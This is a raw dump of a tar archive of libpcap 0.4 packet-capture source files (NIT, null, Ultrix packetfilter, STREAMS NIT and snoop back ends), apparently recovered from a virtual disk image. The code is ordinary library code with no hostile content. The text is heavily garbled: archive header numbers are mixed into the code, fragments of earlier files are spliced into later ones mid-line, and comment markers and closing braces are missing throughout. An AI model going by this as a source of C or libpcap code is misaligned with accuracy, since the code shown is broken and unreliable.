*** Linux.vmdk.REDO ***
libpcap-0.4/pcap-nit.c
   444
  1774
    34
      13021  6253457565   7763
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-nit.c,v 1.31 96/12/10 23:15:01 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/nit.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
 * The chunk size for NIT.  This is the amount of buffering
 * done for read calls.
#define CHUNKSIZE (2*1024)
 * The total buffer space used by NIT.
#define BUFSPACE (4*CHUNKSIZE)
/* Forwards */
static int nit_setflags(int, int, int, char *);
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      *ps = p->md.stat;
      return (0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      register int cc, n;
      register struct bpf_insn *fcode = p->fcode.bf_insns;
      register u_char *bp, *cp, *ep;
      register struct nit_hdr *nh;
      register int caplen;
      cc = p->cc;
      if (cc == 0) {
            cc = read(p->fd, (char *)p->buffer, p->bufsize);
            if (cc < 0) {
                  if (errno == EWOULDBLOCK)
                        return (0);
                  sprintf(p->errbuf, "pcap_read: %s",
                        pcap_strerror(errno));
                  return (-1);
            bp = p->buffer;
      } else
            bp = p->bp;
       * Loop through each packet.  The increment expression
       * rounds up to the next int boundary past the end of
       * the previous packet.
       */
      n = 0;
      ep = bp + cc;
      while (bp < ep) {
            nh = (struct nit_hdr *)bp;
            cp = bp + sizeof(*nh);
            switch (nh->nh_state) {
            case NIT_CATCH:
                  break;
            case NIT_NOMBUF:
            case NIT_NOCLUSTER:
            case NIT_NOSPACE:
                  p->md.stat.ps_drop = nh->nh_dropped;
                  continue;
            case NIT_SEQNO:
                  continue;
            default:
                  sprintf(p->errbuf, "bad nit state %d", nh->nh_state);
                  return (-1);
            ++p->md.stat.ps_recv;
            bp += ((sizeof(struct nit_hdr) + nh->nh_datalen +
                sizeof(int) - 1) & ~(sizeof(int) - 1));
            caplen = nh->nh_wirelen;
            if (caplen > p->snapshot)
                  caplen = p->snapshot;
            if (bpf_filter(fcode, cp, nh->nh_wirelen, caplen)) {
                  struct pcap_pkthdr h;
                  h.ts = nh->nh_timestamp;
                  h.len = nh->nh_wirelen;
                  h.caplen = caplen;
                  (*callback)(user, &h, cp);
                  if (++n >= cnt && cnt >= 0) {
                        p->cc = ep - bp;
                        p->bp = bp;
                        return (n);
                  }
      p->cc = 0;
      return (n);
static int
nit_setflags(int fd, int promisc, int to_ms, char *ebuf)
      struct nit_ioc nioc;
      bzero((char *)&nioc, sizeof(nioc));
      nioc.nioc_bufspace = BUFSPACE;
      nioc.nioc_chunksize = CHUNKSIZE;
      nioc.nioc_typetomatch = NT_ALLTYPES;
      nioc.nioc_snaplen = p->snapshot;
      nioc.nioc_bufalign = sizeof(int);
      nioc.nioc_bufoffset = 0;
      if (to_ms != 0) {
            nioc.nioc_flags |= NF_TIMEOUT;
            nioc.nioc_timeout.tv_sec = to_ms / 1000;
            nioc.nioc_timeout.tv_usec = (to_ms * 1000) % 1000000;
      if (promisc)
            nioc.nioc_flags |= NF_PROMISC;
      if (ioctl(fd, SIOCSNIT, &nioc) < 0) {
            sprintf(ebuf, "SIOCSNIT: %s", pcap_strerror(errno));
            return (-1);
      return (0);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      int fd;
      struct sockaddr_nit snit;
      register pcap_t *p;
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            strcpy(ebuf, pcap_strerror(errno));
            return (NULL);
      if (snaplen < 96)
            /*
             * NIT requires a snapshot length of at least 96.
             */
            snaplen = 96;
      bzero(p, sizeof(*p));
      p->fd = fd = socket(AF_NIT, SOCK_RAW, NITPROTO_RAW);
      if (fd < 0) {
            sprintf(ebuf, "socket: %s", pcap_strerror(errno));
            goto bad;
      snit.snit_family = AF_NIT;
      (void)strncpy(snit.snit_ifname, device, NITIFSIZ);
      if (bind(fd, (struct sockaddr *)&snit, sizeof(snit))) {
            sprintf(ebuf, "bind: %s: %s", snit.snit_ifname,
                  pcap_strerror(errno));
            goto bad;
      p->snapshot = snaplen;
      nit_setflags(p->fd, promisc, to_ms, ebuf);
       * NIT supports only ethernets.
       */
      p->linktype = DLT_EN10MB;
      p->bufsize = BUFSPACE;
      p->buffer = (u_char *)malloc(p->bufsize);
      if (p->buffer == NULL) {
            strcpy(ebuf, pcap_strerror(errno));
            goto bad;
      return (p);
 bad:
      if (fd >= 0)
            close(fd);
      free(p);
      return (NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
      p->fcode = *fp;
      return (0);
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
 * The chunk size for NIT.  This is the amount of buffering
 * done for read calls.
#define CHUNKSIZE (2*1024)
 * The total buffer space usedlibpcap-0.4/pcap-nit.h
   444
  3060
    34
       1656  5577470036   7745
 * Copyright (c) 1990, 1994
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms are permitted
 * provided that the above copyright notice and this paragraph are
 * duplicated in all such forms and that any documentation,
 * advertising materials, and other materials related to such
 * distribution and use acknowledge that the software was developed
 * by the University of California, Lawrence Berkeley Laboratory,
 * Berkeley, CA.  The name of the University may not be used to
 * endorse or promote products derived from this software without
 * specific prior written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
 * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * @(#) $Header: pcap-nit.h,v 1.2 94/06/14 20:06:03 leres Exp $ (LBL)
, NITIFSIZ);
      if (bind(fd, (struct sockaddr *)&snit, sizeof(snit))) {
            sprintf(elibpcap-0.4/pcap-null.c
   444
  1774
    34
       4130  6253457565  10124
 * Copyright (c) 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-null.c,v 1.7 96/12/10 23:15:01 leres Exp $ (LBL)";
#endif
#include <sys/param.h>                 /* optionally get BSD define */
#include <string.h>
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#include "pcap-int.h"
static char nosup[] = "live packet capture not supported on this system";
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      (void)sprintf(p->errbuf, "pcap_stats: %s", nosup);
      return (-1);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      (void)sprintf(p->errbuf, "pcap_read: %s", nosup);
      return (-1);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      (void)strcpy(ebuf, nosup);
      return (NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
      if (p->sf.rfile == NULL) {
            (void)sprintf(p->errbuf, "pcap_setfilter: %s", nosup);
            return (-1);
      p->fcode = *fp;
      return (0);
 int, int, char *);
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      *ps = p->md.stat;
      return (0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      register int cc, n;
      register struct bpf_insn *fcode = p->fcode.bf_insns;
      register u_char *bp, *cp, *ep;
      register struct nit_hdr *nh;
      register int caplen;
      cc = p->cc;
      if (cc == 0) {
            cc = read(p->fd, (char *)p->buffer, p->bufsize);
            iflibpcap-0.4/pcap-pf.c
   444
  1774
    34
      21416  6253457565   7605
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * packet filter subroutines for tcpdump
 *      Extraction/creation by Jeffrey Mogul, DECWRL
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-pf.c,v 1.54 96/12/10 23:15:01 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <net/pfilt.h>
#if __STDC__
struct mbuf;
struct rtentry;
#endif
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
 * BUFSPACE is the size in bytes of the packet read buffer.  Most tcpdump
 * applications aren't going to need more than 200 bytes of packet header
 * and the read shouldn't return more packets than packetfilter's internal
 * queue limit (bounded at 256).
#define BUFSPACE (200 * 256)
pcap_read(pcap_t *pc, int cnt, pcap_handler callback, u_char *user)
      register u_char *p, *bp;
      struct bpf_insn *fcode;
      register int cc, n, buflen, inc;
      register struct enstamp *sp;
#ifdef LBL_ALIGN
      struct enstamp stamp;
#endif
#ifdef PCAP_FDDIPAD
      register int pad;
#endif
      fcode = pc->md.use_bpf ? NULL : pc->fcode.bf_insns;
 again:
      cc = pc->cc;
      if (cc == 0) {
            cc = read(pc->fd, (char *)pc->buffer + pc->offset, pc->bufsize);
            if (cc < 0) {
                  if (errno == EWOULDBLOCK)
                        return (0);
                  if (errno == EINVAL &&
                      lseek(pc->fd, 0L, SEEK_CUR) + pc->bufsize < 0) {
                        /*
                         * Due to a kernel bug, after 2^31 bytes,
                         * the kernel file offset overflows and
                         * read fails with EINVAL. The lseek()
                         * to 0 will fix things.
                         */
                        (void)lseek(pc->fd, 0L, SEEK_SET);
                        goto again;
                  }
                  sprintf(pc->errbuf, "pf read: %s",
                        pcap_strerror(errno));
                  return (-1);
            bp = pc->buffer + pc->offset;
      } else
            bp = pc->bp;
       * Loop through each packet.
       */
      n = 0;
#ifdef PCAP_FDDIPAD
      if (pc->linktype == DLT_FDDI)
            pad = pcap_fddipad;
      else
            pad = 0;
#endif
      while (cc > 0) {
            if (cc < sizeof(*sp)) {
                  sprintf(pc->errbuf, "pf short read (%d)", cc);
                  return (-1);
#ifdef LBL_ALIGN
            if ((long)bp & 3) {
                  sp = &stamp;
                  memcpy((char *)sp, (char *)bp, sizeof(*sp));
            } else
#endif
                  sp = (struct enstamp *)bp;
            if (sp->ens_stamplen != sizeof(*sp)) {
                  sprintf(pc->errbuf, "pf short stamplen (%d)",
                      sp->ens_stamplen);
                  return (-1);
            p = bp + sp->ens_stamplen;
            buflen = sp->ens_count;
            if (buflen > pc->snapshot)
                  buflen = pc->snapshot;
            /* Calculate inc before possible pad update */
            inc = ENALIGN(buflen + sp->ens_stamplen);
            cc -= inc;
            bp += inc;
#ifdef PCAP_FDDIPAD
            p += pad;
            buflen -= pad;
#endif
            pc->md.TotPkts++;
            pc->md.TotDrops += sp->ens_dropped;
            pc->md.TotMissed = sp->ens_ifoverflows;
            if (pc->md.OrigMissed < 0)
                  pc->md.OrigMissed = pc->md.TotMissed;
            /*
             * Short-circuit evaluation: if using BPF filter
             * in kernel, no need to do it now.
             */
            if (fcode == NULL ||
                bpf_filter(fcode, p, sp->ens_count, buflen)) {
                  struct pcap_pkthdr h;
                  pc->md.TotAccepted++;
                  h.ts = sp->ens_tstamp;
#ifdef PCAP_FDDIPAD
                  h.len = sp->ens_count - pad;
#else
                  h.len = sp->ens_count;
#endif
                  h.caplen = buflen;
                  (*callback)(user, &h, p);
                  if (++n >= cnt && cnt > 0) {
                        pc->cc = cc;
                        pc->bp = bp;
                        return (n);
                  }
      pc->cc = 0;
      return (n);
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      ps->ps_recv = p->md.TotAccepted;
      ps->ps_drop = p->md.TotDrops;
      ps->ps_ifdrop = p->md.TotMissed - p->md.OrigMissed;
      return (0);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      pcap_t *p;
      short enmode;
      int backlog = -1;    /* request the most */
      struct enfilter Filter;
      struct endevp devparams;
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            sprintf(ebuf, "pcap_open_live: %s", pcap_strerror(errno));
            return (0);
      bzero((char *)p, sizeof(*p));
      p->fd = pfopen(device, O_RDONLY);
      if (p->fd < 0) {
            sprintf(ebuf, "pf open: %s: %s\n\
your system may not be properly configured; see \"man packetfilter(4)\"\n",
                  device, pcap_strerror(errno));
            goto bad;
      p->md.OrigMissed = -1;
      enmode = ENTSTAMP|ENBATCH|ENNONEXCL;
      if (promisc)
            enmode |= ENPROMISC;
      if (ioctl(p->fd, EIOCMBIS, (caddr_t)&enmode) < 0) {
            sprintf(ebuf, "EIOCMBIS: %s", pcap_strerror(errno));
            goto bad;
#ifdef      ENCOPYALL
      /* Try to set COPYALL mode so that we see packets to ourself */
      enmode = ENCOPYALL;
      (void)ioctl(p->fd, EIOCMBIS, (caddr_t)&enmode);/* OK if this fails */
#endif
      /* set the backlog */
      if (ioctl(p->fd, EIOCSETW, (caddr_t)&backlog) < 0) {
            sprintf(ebuf, "EIOCSETW: %s", pcap_strerror(errno));
            goto bad;
      /* discover interface type */
      if (ioctl(p->fd, EIOCDEVP, (caddr_t)&devparams) < 0) {
            sprintf(ebuf, "EIOCDEVP: %s", pcap_strerror(errno));
            goto bad;
      /* HACK: to compile prior to Ultrix 4.2 */
#ifndef      ENDT_FDDI
#define      ENDT_FDDI   4
#endif
      switch (devparams.end_dev_type) {
      case ENDT_10MB:
            p->linktype = DLT_EN10MB;
            p->offset = 2;
            break;
      case ENDT_FDDI:
            p->linktype = DLT_FDDI;
            break;
      default:
            /*
             * XXX
             * Currently, the Ultrix packet filter supports only
             * Ethernet and FDDI.  Eventually, support for SLIP and PPP
             * (and possibly others: T1?) should be added.
             */
#ifdef notdef
            warning(
               "Packet filter data-link type %d unknown, assuming Ethernet",
                devparams.end_dev_type);
#endif
            p->linktype = DLT_EN10MB;
            p->offset = 2;
            break;
      /* set truncation */
#ifdef PCAP_FDDIPAD
      if (p->linktype == DLT_FDDI)
            /* packetfilter includes the padding in the snapshot */
            snaplen += pcap_fddipad;
#endif
      if (ioctl(p->fd, EIOCTRUNCATE, (caddr_t)&snaplen) < 0) {
            sprintf(ebuf, "EIOCTRUNCATE: %s", pcap_strerror(errno));
            goto bad;
      p->snapshot = snaplen;
      /* accept all packets */
      bzero((char *)&Filter, sizeof(Filter));
      Filter.enf_Priority = 37;      /* anything > 2 */
      Filter.enf_FilterLen = 0;      /* means "always true" */
      if (ioctl(p->fd, EIOCSETF, (caddr_t)&Filter) < 0) {
            sprintf(ebuf, "EIOCSETF: %s", pcap_strerror(errno));
            goto bad;
      if (to_ms != 0) {
            struct timeval timeout;
            timeout.tv_sec = to_ms / 1000;
            timeout.tv_usec = (to_ms * 1000) % 1000000;
            if (ioctl(p->fd, EIOCSRTIMEOUT, (caddr_t)&timeout) < 0) {
                  sprintf(ebuf, "EIOCSRTIMEOUT: %s",
                        pcap_strerror(errno));
                  goto bad;
      p->bufsize = BUFSPACE;
      p->buffer = (u_char*)malloc(p->bufsize + p->offset);
      return (p);
 bad:
      free(p);
      return (NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
       * See if BIOCSETF works.  If it does, the kernel supports
       * BPF-style filters, and we do not need to do post-filtering.
       */
      p->md.use_bpf = (ioctl(p->fd, BIOCSETF, (caddr_t)fp) >= 0);
      if (p->md.use_bpf) {
            struct bpf_version bv;
            if (ioctl(p->fd, BIOCVERSION, (caddr_t)&bv) < 0) {
                  sprintf(p->errbuf, "BIOCVERSION: %s",
                        pcap_strerror(errno));
                  return (-1);
            else if (bv.bv_major != BPF_MAJOR_VERSION ||
                   bv.bv_minor < BPF_MINOR_VERSION) {
                  fprintf(stderr,
            "requires bpf language %d.%d or higher; kernel is %d.%d",
                        BPF_MAJOR_VERSION, BPF_MINOR_VERSION,
                        bv.bv_major, bv.bv_minor);
                  /* don't give up, just be inefficient */
                  p->md.use_bpf = 0;
      } else
            p->fcode = *fp;
      /*XXX this goes in tcpdump*/
      if (p->md.use_bpf)
            fprintf(stderr, "tcpdump: Using kernel BPF filter\n");
      else
            fprintf(stderr, "tcpdump: Filtering in user process\n");
      return (0);
turn (n);
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      ps->ps_recv = p->md.TotAccepted;
      ps->ps_drop = p->md.TotDrops;
      ps->ps_ifdrop = p->md.TotMissed - p->md.OrigMissed;
      return (0);
pcap_t *
pcap_open_live(char *device, int snlibpcap-0.4/pcap-pf.h
   444
  3060
    34
       1655  5577470075   7562
 * Copyright (c) 1990, 1994
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms are permitted
 * provided that the above copyright notice and this paragraph are
 * duplicated in all such forms and that any documentation,
 * advertising materials, and other materials related to such
 * distribution and use acknowledge that the software was developed
 * by the University of California, Lawrence Berkeley Laboratory,
 * Berkeley, CA.  The name of the University may not be used to
 * endorse or promote products derived from this software without
 * specific prior written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
 * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * @(#) $Header: pcap-pf.h,v 1.2 94/06/14 20:06:33 leres Exp $ (LBL)
      /* set the backlog */
      if (ioctl(p->fd, EIOCSETW, (caddr_t)&backlog) < 0) {
            libpcap-0.4/pcap-snit.c
   444
  1774
    34
      16115  6253457566  10156
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * Modifications made to accommodate the new SunOS4.0 NIT facility by
 * Micky Liu, micky@cunixc.cc.columbia.edu, Columbia University in May, 1989.
 * This module now handles the STREAMS based NIT.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-snit.c,v 1.45 96/12/10 23:15:01 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/dir.h>
#include <sys/fcntlcom.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stropts.h>
#include <net/if.h>
#include <net/nit.h>
#include <net/nit_if.h>
#include <net/nit_pf.h>
#include <net/nit_buf.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <ctype.h>
#include <errno.h>
#ifdef HAVE_MALLOC_H
#include <malloc.h>
#endif
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
 * The chunk size for NIT.  This is the amount of buffering
 * done for read calls.
#define CHUNKSIZE (2*1024)
 * The total buffer space used by NIT.
#define BUFSPACE (4*CHUNKSIZE)
/* Forwards */
static int nit_setflags(int, int, int, char *);
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      *ps = p->md.stat;
      return (0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      register int cc, n;
      register struct bpf_insn *fcode = p->fcode.bf_insns;
      register u_char *bp, *cp, *ep;
      register struct nit_bufhdr *hdrp;
      register struct nit_iftime *ntp;
      register struct nit_iflen *nlp;
      register struct nit_ifdrops *ndp;
      register int caplen;
      cc = p->cc;
      if (cc == 0) {
            cc = read(p->fd, (char *)p->buffer, p->bufsize);
            if (cc < 0) {
                  if (errno == EWOULDBLOCK)
                        return (0);
                  sprintf(p->errbuf, "pcap_read: %s",
                        pcap_strerror(errno));
                  return (-1);
            bp = p->buffer;
      } else
            bp = p->bp;
       * loop through each snapshot in the chunk
       */
      n = 0;
      ep = bp + cc;
      while (bp < ep) {
            ++p->md.stat.ps_recv;
            cp = bp;
            /* get past NIT buffer  */
            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(*hdrp);
            /* get past NIT timer   */
            ntp = (struct nit_iftime *)cp;
            cp += sizeof(*ntp);
            ndp = (struct nit_ifdrops *)cp;
            p->md.stat.ps_drop = ndp->nh_drops;
            cp += sizeof *ndp;
            /* get past packet len  */
            nlp = (struct nit_iflen *)cp;
            cp += sizeof(*nlp);
            /* next snapshot        */
            bp += hdrp->nhb_totlen;
            caplen = nlp->nh_pktlen;
            if (caplen > p->snapshot)
                  caplen = p->snapshot;
            if (bpf_filter(fcode, cp, nlp->nh_pktlen, caplen)) {
                  struct pcap_pkthdr h;
                  h.ts = ntp->nh_timestamp;
                  h.len = nlp->nh_pktlen;
                  h.caplen = caplen;
                  (*callback)(user, &h, cp);
                  if (++n >= cnt && cnt >= 0) {
                        p->cc = ep - bp;
                        p->bp = bp;
                        return (n);
                  }
      p->cc = 0;
      return (n);
static int
nit_setflags(int fd, int promisc, int to_ms, char *ebuf)
      bpf_u_int32 flags;
      struct strioctl si;
      struct timeval timeout;
      si.ic_timout = INFTIM;
      if (to_ms != 0) {
            timeout.tv_sec = to_ms / 1000;
            timeout.tv_usec = (to_ms * 1000) % 1000000;
            si.ic_cmd = NIOCSTIME;
            si.ic_len = sizeof(timeout);
            si.ic_dp = (char *)&timeout;
            if (ioctl(fd, I_STR, (char *)&si) < 0) {
                  sprintf(ebuf, "NIOCSTIME: %s", pcap_strerror(errno));
                  return (-1);
      flags = NI_TIMESTAMP | NI_LEN | NI_DROPS;
      if (promisc)
            flags |= NI_PROMISC;
      si.ic_cmd = NIOCSFLAGS;
      si.ic_len = sizeof(flags);
      si.ic_dp = (char *)&flags;
      if (ioctl(fd, I_STR, (char *)&si) < 0) {
            sprintf(ebuf, "NIOCSFLAGS: %s", pcap_strerror(errno));
            return (-1);
      return (0);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      struct strioctl si;            /* struct for ioctl() */
      struct ifreq ifr;        /* interface request struct */
      int chunksize = CHUNKSIZE;
      int fd;
      static char dev[] = "/dev/nit";
      register pcap_t *p;
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            strcpy(ebuf, pcap_strerror(errno));
            return (NULL);
      if (snaplen < 96)
            /*
             * NIT requires a snapshot length of at least 96.
             */
            snaplen = 96;
      bzero(p, sizeof(*p));
      p->fd = fd = open(dev, O_RDONLY);
      if (fd < 0) {
            sprintf(ebuf, "%s: %s", dev, pcap_strerror(errno));
            goto bad;
      /* arrange to get discrete messages from the STREAM and use NIT_BUF */
      if (ioctl(fd, I_SRDOPT, (char *)RMSGD) < 0) {
            sprintf(ebuf, "I_SRDOPT: %s", pcap_strerror(errno));
            goto bad;
      if (ioctl(fd, I_PUSH, "nbuf") < 0) {
            sprintf(ebuf, "push nbuf: %s", pcap_strerror(errno));
            goto bad;
      /* set the chunksize */
      si.ic_cmd = NIOCSCHUNK;
      si.ic_timout = INFTIM;
      si.ic_len = sizeof(chunksize);
      si.ic_dp = (char *)&chunksize;
      if (ioctl(fd, I_STR, (char *)&si) < 0) {
            sprintf(ebuf, "NIOCSCHUNK: %s", pcap_strerror(errno));
            goto bad;
      /* request the interface */
      strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
      ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = ' ';
      si.ic_cmd = NIOCBIND;
      si.ic_len = sizeof(ifr);
      si.ic_dp = (char *)&ifr;
      if (ioctl(fd, I_STR, (char *)&si) < 0) {
            sprintf(ebuf, "NIOCBIND: %s: %s",
                  ifr.ifr_name, pcap_strerror(errno));
            goto bad;
      /* set the snapshot length */
      si.ic_cmd = NIOCSSNAP;
      si.ic_len = sizeof(snaplen);
      si.ic_dp = (char *)&snaplen;
      if (ioctl(fd, I_STR, (char *)&si) < 0) {
            sprintf(ebuf, "NIOCSSNAP: %s", pcap_strerror(errno));
            goto bad;
      p->snapshot = snaplen;
      if (nit_setflags(p->fd, promisc, to_ms, ebuf) < 0)
            goto bad;
      (void)ioctl(fd, I_FLUSH, (char *)FLUSHR);
       * NIT supports only ethernets.
       */
      p->linktype = DLT_EN10MB;
      p->bufsize = BUFSPACE;
      p->buffer = (u_char *)malloc(p->bufsize);
      if (p->buffer == NULL) {
            strcpy(ebuf, pcap_strerror(errno));
            goto bad;
      return (p);
 bad:
      if (fd >= 0)
            close(fd);
      free(p);
      return (NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
      p->fcode = *fp;
      return (0);
eturn (0);
                  sprintf(p->errbuf, "pcap_read: %s",
                        pcap_strerror(errno));
                  return (-1);
            bp = p->buffer;
      } else
            bp = p->bp;
       * loop through each snapshot in the chunk
       */
      n = 0;
      ep = bp + cc;
      while (bp < ep) {
            ++p->md.stat.ps_recv;
            cp = bp;
            /* get past NIT buffer  */
            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(*hdrp);
            /* get past NIT timer   */
            ntp = (struct nit_iftime *)cp;
            cp += sizeof(*nlibpcap-0.4/pcap-snoop.c
   444
  1774
    34
      13553  6322612745  10327
 * Copyright (c) 1993, 1994, 1995, 1996, 1997
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
